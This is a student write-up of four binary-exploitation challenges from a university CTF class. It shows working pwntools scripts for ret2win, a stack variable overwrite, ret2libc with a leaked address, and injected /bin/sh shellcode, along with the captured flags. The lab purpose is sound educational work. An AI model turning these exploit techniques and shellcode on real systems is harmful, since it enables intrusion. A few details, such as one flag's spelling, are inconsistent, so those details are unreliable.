

Problem ID	Captured Flags	Steps
color_factory	fsuCTF{crayo1a_g07_n0thing_0n_me}	1. Find buffer overflow vulnerability 2. Use pwntools to complete ret2func 3. Return to the win function
Al_mat3am	fsuCTF{th3_8e5t_b484_6h4noush_in_83irut}	1. Analyze program 2. Find no win(0 function for ret2lib possibility 3. Need to overwrite a variable 4. Overwrite file location variable with flag.txt
fortune_cookie	fsuCTF{f0r7un3_f4v0r5_7h3_f0r7un473}	1. Find ret2libc vulnerability 2. Get leaked address and get base address 3. Construct payload 4. Run payload
postage	fsuCTF{fr33_5hippin6_0r_5h311_84ck}	1. Figure out how the program works 2. Configure the payload to utilize the functions 3. Execute the payload

Color_factor

```
int colorAnalyzer(const char *colorName) {
    char color[32];
    strcpy(color, colorName);
    printf("Analyzing %s ... \n", color);
    return 1;
}
```

```
void win() {
    printf("Wow! That is an excellent color!\n");
    FILE* file = fopen("flag.txt", "r");
    if (file == NULL) {
        printf("Error: flag.txt not found\n");
        return;
    } else {
        char flag[32];
        fgets(flag, 31, file);
        printf("%s\n", flag);
        fclose(file);
    }
}
```

I first download the vulnerable programs and find the buffer overflow vulnerability in the colorAnalyzer() function and the win() function which is never called in the program. So clearly our goal is to get the program to jump to the win function. First I get the executable file and checksec:

```
(.venv)-(kali@kali)-[~/CTFs/CTF_Class/binary_exploitation]
$ checksec color_factor
[*] '/home/kali/CTFs/CTF_Class/binary_exploitation/color_factor'
Arch:             amd64-64-little
RELRO:            Partial RELRO
Stack:            No canary found
NX:               NX enabled
PIE:              No PIE (0x400000)
Stripped:         No
```

```
(.venv)-(kali@kali)-[~/CTFs/CTF_Class/binary_exploitation]
$ file color_factor
color_factor: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
```

We find out that the program does not have PIE and it is a 64-bit program. That tell us a lot for how to build this [sol.py](#) program. But we still need to know the address of the win function in order to jump to it:

```
(No debugging symbols found in ./color_factory)
(gdb) p win
$1 = {<text variable, no debug info>} 0x401186 <win>
(gdb) q
```

We find that the address of the function is 0x401186 and because PIE is disabled we can just use this address. Now we have all the information to write the script:

```
Session Actions Edit View Help
from pwn import *

win_addr = 0x401186

padding = b"A" * 40

payload = padding + p64(win_addr)

io = remote('ctf.cs.fsu.edu', 65038)
io.sendline(payload)
io.interactive()

~
```

We create the variable win_addr, and the padding which is 40 byte character As. We use the offset of 40 because it is a 64-bit program so we need to overwrite the buffer (32) PLUS the overwrite for the ebp (8). Then we 64-bit encode the win_addr and append it to the padding to build the payload. We then send the payload to the server using the servers address and port number.

```
python3 soc.py
[+] Opening connection to ctf.cs.fsu.edu on port 65038: Done
[*] Switching to interactive mode
What is your favorite color? : Analyzing AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x11@ ...
Wow! That is an excellent color!
fsuCTF{crayo1a_g07_n0thing_0n_me}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to ctf.cs.fsu.edu port 65038
```

fsuCTF{crayo1a_g07_n0thing_0n_me}

AI_Mat3am

```

        break;
    case 2: // Order
        printf("What would you like to order?\n> ");
        scanf("%s", order);
        printf("Let us know if you need anything else.\n");
    case 3: // Leave
    default: // Invalid
        break;

```

```

n(int argc, char *argv[], char *envp[]) {
    char menuLocation[] = "./menu.txt";
    char order[256];
    char fileBuf[32];

```

This is the buffer overflow vulnerability. The buffer is the order variable after you select choice 2 and it is 256 bytes long. After realizing that I cannot do ret2lib because there is no way to leak any address to get the base address, I realize that I want to change the menuLocation variable to "flag.txt." I know that on the stack these two variables are on top of each other ie order is underneath menuLocation in the stack because they are declared in the same function. So all I need to do is overflow past 256 and then append flag.txt on the location of menuLocation variable. So I just start with 256 plus the flag.txt in my payload script:

```

from pwn import *

io = remote('ctf.cs.fsu.edu', 65029)

io.sendlineafter(b"> ", b"2")

padding = b"A" * 256
filename = b"flag.txt"
payload = padding + filename

log.info("Sending payload... ")
io.sendline(payload)

# Step 3: Trigger the read
io.sendlineafter(b"> ", b"1")

io.interactive()
~

```

```

> Could not open file txt
1) Look at the menu.
2) Place an order.
3) Leave.

```

So we successfully changed the menuLocation variable but it is a bit off. Right now the offset is 256 and we only got txt. So we need to increase the offset by “flag.” which is 5 so its $256 + 5 = 261$ offset. So the payload is then:

```
[*] Switching to interactive mode
Let us know if you need anything else.
1) Look at the menu.
2) Place an order.
3) Leave.

> fsuCTF{th3_8e5t_b484_6h4n0ush_in_83irut}
1) Look at the menu.
2) Place an order.
3) Leave.

> $ █
```

Then we got the flag: fsuCTF{th3_8e5t_b484_6h4n0ush_in_83irut}

fortune_cookie

```
(.venv)-(kali㉿kali)-[~/CTFs/CTF_Class/binary_exploitation/fortune_cookie]
$ ls
fortune_cookie  fortune_cookie.c  fortune_cookie.tar.gz  ld-linux.so.2  libc.so.6  sol2.py  sol.py
(.venv)-(kali㉿kali)-[~/CTFs/CTF_Class/binary_exploitation/fortune_cookie]
$ █
```

The first thing I do is open the tar file. Immediately I know it is a ret2libc problem because it comes with the libc function library.

```

(.venv)-(kali@kali)-[~/CTFs/CTF_Class/binary_exploitation/fortune_cookie]
$ checksec fortune_cookie
[*] '/home/kali/CTFs/CTF_Class/binary_exploitation/fortune_cookie/fortune_cookie'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
Stripped:  No

(.venv)-(kali@kali)-[~/CTFs/CTF_Class/binary_exploitation/fortune_cookie]
$ file fortune_cookie
fortune_cookie: ELF 32-bit LSB pie executable, Intel i386, version 1 (SYSV)

(.venv)-(kali@kali)-[~/CTFs/CTF_Class/binary_exploitation/fortune_cookie]
$

```

I run checksec and file on the executable and I find that PIE is enabled and it is a 32-bit program.

```

int parseInput() {
    char buf[0512];
    int retCode = 0;
    scanf("%s", buf);

    if (strcmp(buf, "fortune") == 0) {
        fortune();
        retCode = 0;
    } else if (strcmp(buf, "numbers") == 0) {
        lucky_numbers();
        retCode = 0;
    } else if (strcmp(buf, "leave") == 0) {
        retCode = 1;
    } else {
        printf("Invalid.");
    }

    return retCode;
}

```

```

void lucky_numbers() {
    printf("Here are your lucky numbers: \n");
    for (int i = 0; i < sizeof(void *); ++i) {
        printf("%hhhu ", (unsigned char)((long)printf >> (i*8)) & 0xff);
    }
    putchar(10);
}

```

These are the vulnerable functions in the primary program. So the buffer is 512 bytes long and we get the randomized address of the printf function inside the program by decoding the fortune cookie output from the “numbers” option:

```
io.sendlineafter(b"> ", b"numbers")
io.recvuntil(b"lucky numbers: \n")
leak = io.recvline().strip().split()
printf_addr = sum(int(b) << (8 * i) for i, b in enumerate(leak)) & 0xffffffff
libc.address = printf_addr - libc.symbols['printf']
```

Therefore, this is the first part of my payload script. I got this from Gemini after inputting the decrypting code, it reverse engineered it to get the leaked printf address. Now I need to start building the payload based off the libc binary and the fortune_cookie binary.

```
sys_addr = p32(libc.symbols['system'])
exit_addr = p32(libc.symbols['exit'])
sh_addr = p32(next(libc.search(b"/bin/sh")))
```

Now we have the components of the ret2libc attack. The system address, the exit address and the character bytes of /bin/sh to get the shell as a parameter for the system function. Now a key observation of the program is that it DOES have the format specifier %s. The scanf function with the %s format string is extremely picky. It is designed to read a single "word," which means it stops reading immediately when it encounters any whitespace character. So it took a couple tries for the payload to work. Here is the rest of the payload:

```
payload = b"A" * 346
payload += sys_addr
payload += exit_addr
payload += sh_addr

io.sendlineafter(b"> ", payload)

io.sendline(b"id; cat flag.txt")
io.interactive()
return
```

The offset is 346:

```
0x000012ed <+31>: lea -0x156(%ebp),%eax
0x000012f3 <+37>: push %eax
0x000012f4 <+38>: lea -0x1f48(%ebx),%eax
```

0x156=342 plus 4 for the ebp. Then we write the system address, exit and the shell byte character parameter. We send it after we get the interactive key ">" and send the payload. Then we send cat flag.txt in order to print out the flag from the shell. Once ran the script gives the following output:

```
[*] Found Clean libc Base: 0xeab91000
[*] Switching to interactive mode
Invalid.uid=0(root) gid=0(root) groups=0(root)
fsuCTF{f0r7un3_f4v0r5_7h3_f0r7un473}
$
```

postage

```
(.venv)-(kali@kali)-[~/CTFs/CTF_Class/binary_exploitation/postage]
$ ls
postage  postage.c  postage.tar.gz

(.venv)-(kali@kali)-[~/CTFs/CTF_Class/binary_exploitation/postage]
$ file postage
postage: ELF 32-bit LSB pie executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter

(.venv)-(kali@kali)-[~/CTFs/CTF_Class/binary_exploitation/postage]
$ checksec postage
[*] '/home/kali/CTFs/CTF_Class/binary_exploitation/postage/postage'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No
```

First I downloaded the tar file and extracted it and then I see it is a 32 bit executable with PIE enabled. The stack IS executable so that means that stack code can be executed and we can inject shellcode in order to get the shell. When we open the program:

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
```

```
void write_letter(char *letter) {
    printf("Write your message: ")
    fgets(letter, 255, stdin);
    letterWritten = 1;
}
```



```

void send_letter(char *letter) {
    char destination[32];
    if (letterWritten) {
        printf("Where do you want to send your message? ")
        scanf("%s", destination);
        printf("Sent :)\n");
        letterWritten = 0;
    } else
        printf("You haven't written a letter yet.\n");
}

```

We see that stdlib is included and also there is a write_letter function with a fgets function that is the buffer overflow. And there is a send letter function that also could be a buffer overflow. After further investigation I realize that I need to use the “write_letter” function to write the shell code and then use the “send_letter” function to send the shell code to a specific location and get it executed. But we need it to be leaked, and that is where the “view_letter” function comes in:

```

if (letterWritten)
    printf("#### Letter: ####\nSource: #u W Call St., Tallahassee, FL 32304 \nDestination: ???\n#####\n", letter);
else
    printf("You haven't written a letter yet.\n");

```

In the function it uses the %u format specifier which prints out a long unsigned integer. Because the letter is a pointer it is going to display the address of the letter variable. This is perfect because now we can return to the address of letter variable which will execute the shellcode. So we need to grab the leaked letter address and put it on top of a return and then it will execute the shell code.

```

from pwn import *

context.binary = './postage'
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

io = remote('ctf.cs.fsu.edu', 65036)

io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"message: ", shellcode)

io.sendlineafter(b"> ", b"1")
io.recvuntil(b"Source: #")
leak_addr = int(io.recvuntil(b" ", drop=True))
log.success(f"Shellcode address: {hex(leak_addr)}")

```

With this starting payload we put the shellcode in (which we got from Gemini) , set up the remote connection and then we send the first inputs which put the shell code in the letter variable and then select the 1. Option which runs the “view_letter” function and then we get the address of the letter from that, store it in the leaked address and then convert it to hex and log it to see if we got it (or it looks remotely correct which it did). Now we need to find the offset in the “send_letter” function where we

are going to replace the return of the function with the address of letter.

```
0x00001296 <+43>: add    $0x10,%esp
0x00001299 <+46>: sub    $0x8,%esp
0x0000129c <+49>: lea     -0x28(%ebp),%eax
0x0000129f <+52>: push    %eax
0x000012a0 <+53>: lea     -0x1f23(%ebx),%eax
```

Here is the disassembly of the “send_letter” function where we see the ebp is at -0x28 = 40 PLUS 4 which is 44 for the offset. So we override with junk until that spot and then place the “leaked_address.”

```
payload = b"A" * 44
payload += p32(leak_addr)

io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"message? ", payload)

io.interactive()
~
```

And then finally we send the payload into the interactive and get the following result:

```
[*] Shellcode address: 0x1f97d300
[*] Switching to interactive mode
Sent :)
$ ls
flag.txt  postage
$ cat flag.txt
fsuCTF{fr33_5hippin6_0r_5h311_84ck}
$
[*] Interrupted
[*] Closed connection to ctf.cs.fsu.edu port 65036
```

Flag: fsuCTF{fr33_5hippin6_0r_5h311_84ck}

